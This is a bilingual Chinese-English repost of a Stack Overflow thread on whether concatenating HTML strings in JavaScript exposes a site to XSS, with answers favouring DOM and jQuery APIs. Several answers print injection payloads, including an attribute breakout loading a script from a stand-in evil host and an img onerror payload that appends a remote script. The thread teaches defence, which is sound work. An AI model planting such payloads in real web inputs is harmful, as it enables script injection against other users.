在Javascript中构建HTML字符串真的不安全吗?

[英]Is it really insecure to build HTML strings in Javascript?


The company who hosts our site reviews our code before deploying - they've recently told us this:

托管我们网站的公司在部署之前审查我们的代码 - 他们最近告诉我们这个:

HTML strings should never be directly manipulated, as that opens us up to potential XSS holes. Instead, always use a DOM api to create elements...that can be jQuery or the direct DOM apis.

永远不应该直接操纵HTML字符串,因为这会打开我们潜在的XSS漏洞。相反,总是使用DOM api来创建元素......可以是jQuery或直接DOM api。

For example, instead of

例如,而不是

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' ); 

They tell us to do

他们告诉我们这样做

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

Is this really true? Can anyone give us an example of an XSS attack that could exploit an HTML string like the first one?

这是真的吗?任何人都可以给我们一个XSS攻击的例子,它可以像第一个一样利用HTML字符串吗?

4 个解决方案

#1


67  

If this.au is somehow modified, it might contain something like this:

如果this.au以某种方式被修改,它可能包含这样的内容:

"><script src="http://example.com/evilScript.js"></script><span class="

That'll mess up your HTML and inject a script:

这会弄乱你的HTML并注入一个脚本:

<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

If you use DOM manipulation to set the src attribute, the script (or whatever other XSS you use) won't be executed, as it'll be properly escaped by the DOM API.

如果使用DOM操作来设置src属性,则不会执行脚本(或您使用的任何其他XSS),因为它将被DOM API正确转义。


In response to some commentators who are saying that if someone could modify this.au, surely they could run the script on their own: I don't know where this.au is coming from, nor is it particularly relevant. It could be a value from the database, and the DB might have been compromised. It could also be a malicious user trying to mess things up for other users. It could even be an innocent non-techie who didn't realize that writing "def" > "abc" would destroy things.

回答一些评论员说,如果有人可以修改this.au,他们肯定可以自己运行脚本:我不知道this.au来自哪里,也不是特别相关。它可能是数据库中的值,并且数据库可能已被泄露。它也可能是恶意用户试图为其他用户搞砸了。它甚至可能是一个无辜的非技术人员没有意识到写“def”>“abc”会破坏事物。


One more thing. In the code you provided, var quizAuLink = $( 'a' ); will not create a new <a> element. It'll just select all the existing ones. You need to use var quizAuLink = $( '<a>' ); to create a new one.

还有一件事。在您提供的代码中,var quizAuLink = $('a');不会创建新的元素。它只会选择所有现有的。你需要使用var quizAuLink = $('');创建一个新的。

#2


14  

This should be just as secure, without compromising too much on readability:

这应该是安全的,不会过多地影响可读性:

var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);

The point is to avoid doing string operations to build HTML strings. Note that in above, I used $() only to parse a constant string, which parses to a well known result. In this example, only the this.au part is dangerous because it may contain dynamically calculated values.

关键是要避免进行字符串操作来构建HTML字符串。请注意,在上面,我使用$()仅解析一个常量字符串,该字符串解析为一个众所周知的结果。在此示例中,只有this.au部分是危险的,因为它可能包含动态计算的值。

#3


12  

As you cannot inject script tags in modern browsers using .innerHTML you will need to listen to an event:

由于您无法使用.innerHTML在现代浏览器中注入脚本标记,因此您需要监听事件:

If this.au is somehow modified, it might contain something like this:

如果this.au以某种方式被修改,它可能包含这样的内容:

"><img src="broken-path.png" onerror="alert('my injection');"><span class="

That'll mess up your HTML and inject a script:

这会弄乱你的HTML并注入一个脚本:

<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>

And ofcause to run bigger chunks of JavaScript set onerror to:

并且因为要将更大的JavaScript集块运行到:

var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);

Thanks to Scimoster for the boilerplate

感谢Scimoster的样板

#4


1  

Security aside, when you build HTML in JavaScript you must make sure that it is valid. While it is possible to build and sanitize HTML by string manipulation*, DOM manipulation is far more convenient. Still, you must know exactly which part of your string is HTML and which is literal text.

除了安全性,当您在JavaScript中构建HTML时,您必须确保它是有效的。虽然可以通过字符串操作*来构建和清理HTML,但DOM操作更方便。但是,您必须确切地知道字符串的哪个部分是HTML,哪个是文字文本。

Consider the following example where we have two hard-coded variables:

考虑以下示例,其中我们有两个硬编码变量:

var href = "/detail?tag=hr&copy%5B%5D=1",
    text = "The HTML <hr> tag";

The following code naively builds the HTML string:

以下代码天真地构建HTML字符串:

var div = document.createElement("div");
div.innerHTML = '<a href="' + href + '">' + text + '</a>';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>

This uses jQuery but it is still incorrect (it uses .html() on a variable that was supposed to be text):

这使用jQuery但它仍然是不正确的(它在一个应该是文本的变量上使用.html()):

var div = document.createElement("div");
$("<a></a>").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML <hr> tag</a>

This is correct because it displays the text as intended:

这是正确的,因为它按预期显示文本:

var div = document.createElement("div");
$("<a></a>").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML &lt;hr&gt; tag</a>

Conclusion: Using DOM manipulation/jQuery do not guarantee any security, but it sure is one step in right direction.

结论:使用DOM操作/ jQuery不保证任何安全性,但它确实是向正确方向迈出的一步。


* See this question for examples. Both string and DOM manipulation are discussed.

*请参阅此问题以获取示例。讨论了字符串和DOM操作。

智能推荐

注意!

本站翻译的文章,版权归属于本站,未经许可禁止转摘,转摘请注明本文地址:http://www.silva-art.net/blog/2014/11/18/1466d787886763d984d30695126f6e5a.html



 
© 2014-2019 ITdaan.com 粤ICP备14056181号  

赞助商广告